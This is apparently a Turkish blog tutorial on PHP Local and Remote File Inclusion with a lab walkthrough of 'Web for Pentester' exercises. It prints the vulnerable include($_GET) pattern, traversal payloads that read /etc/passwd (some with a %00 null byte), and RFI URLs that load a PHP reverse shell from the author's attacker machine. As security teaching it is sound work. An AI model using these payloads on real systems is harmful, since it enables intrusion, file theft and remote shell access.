Local File Inclusion ve Remote File Inclusion

Nuri Yavuz
3 min readJun 28, 2019

--

File Inclusion : Dosya ekleme olarak tabir edilen bir zafiyettir. File Inclusion saldırıları, PHP web yazılım dilinde karşılaşılan bir güvenlik açığıdır. Kötü niyetli saldırganın yerel (local) ve/veya uzaktan (remote) kod çalıştırmasına olanak sağlar.

LFI (Local File Inclusion) : Localden yani php sayfasını sunan web serverdaki,bize sunulmayan/sunulmaması gereken fakat zafiyetten ötürü erişebildiğimiz dosya ya da dosyaları da erişebilme iznimizin olduğu sayfaya ekleme olayıdır.Örneğin web sunucuda hello.php dosyası olsun içinde merhaba yazsın ve buna iznimiz olsun fakat /etc/passwd dosyasına haliyle iznimiz olmasın,biz urlden öyle bir değer gireceğizki hello.php gibi /etc/passwd ye de girebileceğiz,eğer LFI zafiyeti varsa bunu tabi ki yapabiliriz.

RFI (Remote File Inclusion) : Uzaktan(uzaktaki bir web sunucusundan) dosya ekleyerek (injekte ederek,örneğin reverse shell payloadu) kod çalıştırmaktır.PHP web programlama dili ile kodlanmış uygulamalarda, yazılımcıların tanımladıkları değişkene değer atamaması veya atanan değerlerin filtrelenmemesinden kaynaklanmaktadır. Aşağıdaki örnek kod satırları ile detayları uygulamalı olarak inceleyelim;

Şimdi iyice anlaşılması için örneklerle açıklayalım;

LFI Örneği :

php include($_GET['konu']);

gibi bir yapı içeren bir web sayfasıolsun. Bu sayfa urlden gelen bir isteğe göre hareket edecektir.

Örneğin urlden abc.def.xyz.klm/konu?=yazilar.php

Bu hata en basit ve yagın LFI açığı olarak bilinir. Çünkü burada biz istediğimiz bir dosyayı url yoluyla sunucudan çağırabiliriz. Örneğin:sitenin root dizininde bir yapılandırma dosyası olduğunu biliyoruz, ozaman root dizinin buluruz (../ bir önceki klasöre dönmek demektir) ../../../etc/passwd gibi bir dizini çağırdığımızda bize bilmemizin zararlı olabileceği bilgileri getirebilir.

UYGULAMALAR:

Web for pentester File Inclusion 1 example:

Burada web for pentesterdaki File Include 1 bölümündeki LFI zafiyetini aşağıdaki ../../../../../../../../../../../etc/passwd payloadu ile sömürdüm.

http://192.168.8.108/fileincl/example1.php?page=../../../../../../../../../../../etc/passwd

Web for pentesterdaki File Include 1 bölümünü bir de RFI zafiyeti ile sömürelim,bunun için saldırgan olarak kali linux distrounda apache web servisinde shell.php adlı bir php reverse shell payloadı sundum ve daha sonra tarayıcıdan aşağıdaki payload ile reverse shell aldım.

Note:kullandığım payload: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

http://192.168.8.108/fileincl/example1.php?page=http://kali_ip/shell.php

Browserdaki değeri enterladığımızda aşağıda görüldüğü gibi RFI zafiyetini sömürerek shell aldık :)

Web for pentester File Inclusion 2 example:

Web for pentester File Include’ın 2.kısımda page parametresine sadece kullanılacak php dosyasının adını belirttiğini görüyoruz.Yani .php uzantısını sunucu kendisi ekliyor. Bu durumu aşmak için ise kullanacağımız payloadın sonuna URL-encoded şeklinde NULL byte eklemeliyiz. Bu sayede dosyamız çalıştırılırken NULL byte’a gelince stringin tamamlandığını sanıp .php uzantısını görmeyecek.Bunun için sadece payloadlarımızın sonuna %00 ekleyeceğiz.

1.Örnek(LFI)

http://192.168.8.108/fileincl/example2.php?page=../../../../../../../../../../../etc/passwd%00

2.Örnek(RFI)

http://192.168.8.108/fileincl/example2.php?page=http://192.168.8.109/shell.php%00

--

--

Nuri Yavuz
Nuri Yavuz

Written by Nuri Yavuz

“No effect is before the cause” in the same time “Cause doesn’t necessarily come before effect”

No responses yet